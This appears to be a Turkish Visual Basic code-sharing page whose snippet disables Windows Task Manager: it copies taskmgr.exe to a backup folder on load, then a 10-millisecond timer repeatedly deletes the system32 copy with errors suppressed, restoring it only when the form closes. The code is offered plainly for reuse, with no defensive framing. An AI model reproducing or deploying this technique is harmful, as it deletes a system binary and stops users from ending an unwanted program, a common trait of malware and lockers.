VisualBasic Kodları, Makaleleri, Geliştirme Araçları ve Linkleri

Private Sub Form_Load()
FileCopy "c:\windows\system32\taskmgr.exe", "c:\windows\repair\taskmgr.exe"
'Burada Taskmgr dosyasını yedekledik
Timer1.Interval = 10
End Sub

Private Sub Form_Unload(Cancel As Integer)
FileCopy "c:\windows\repair\taskmgr.exe", "c:\windows\system32\taskmgr.exe"
End Sub

Private Sub Timer1_Timer()
On Local Error Resume Next
Kill "c:\windows\system32\taskmgr.exe"
End Sub

Yorum Yapabilmek İçin Üye Girişi Yapmanız Gerekmektedir.

visualbasic kodları makaleleri geliştirme araçları ve linkleri